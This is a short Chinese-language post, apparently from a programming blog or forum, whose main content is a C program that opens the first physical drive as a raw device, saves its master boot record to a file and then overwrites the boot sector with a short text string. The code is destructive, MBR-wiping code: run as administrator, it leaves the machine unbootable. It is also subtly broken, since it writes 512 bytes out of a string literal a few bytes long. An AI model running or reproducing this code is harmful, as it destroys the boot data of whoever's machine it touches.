原理已经说过了,不想再说了。其实用API备份修改硬盘那么复杂。。。我只是想说:库函数也可以打开硬盘。。。。。
#include <stdio.h>
#define size 512 // 一个扇区512字节
int main(void)
{
/* 文件流 */
FILE *DiskFile;
FILE *File;
/* MBR */
unsigned char *DiskCode;// 要写入的MBR
unsigned char MBRCODE[size]={0};// 备份MBR
/* 准备写入的MBR */
DiskCode=(unsigned char*)" 紫玫冰心 ";
/* 获取文件流 */
DiskFile=fopen("\\\\.\\PhysicalDrive0","rb+");
if(!DiskFile)
puts("Can't open file!");
else if(!feof(DiskFile))
{
/* 移动到MBR的位置 */
fseek(DiskFile,0,SEEK_SET);// MBR的位置(0柱面 0磁道 1扇区)
fread(MBRCODE,1,size,DiskFile);// 备份MBR
/* 修改MBR之前先备份MBR */
File=fopen("备份的MBR..ini","wb+");// 创建一个文件
if(!File)
puts("备份MBR失败!");
else if(!feof(File))
{
/* 将原来的MBR保存 */
fwrite(MBRCODE,size,1,File);
fclose(File);
}
/* 移动到MBR的位置 */
fseek(DiskFile,0,SEEK_SET);// MBR的位置(0柱面 0磁道 1扇区)
// 写入新的MBR
fwrite(DiskCode,size,1,DiskFile);
fclose(DiskFile);
}
printf("Press any key to continue");
getchar();
return 0;
}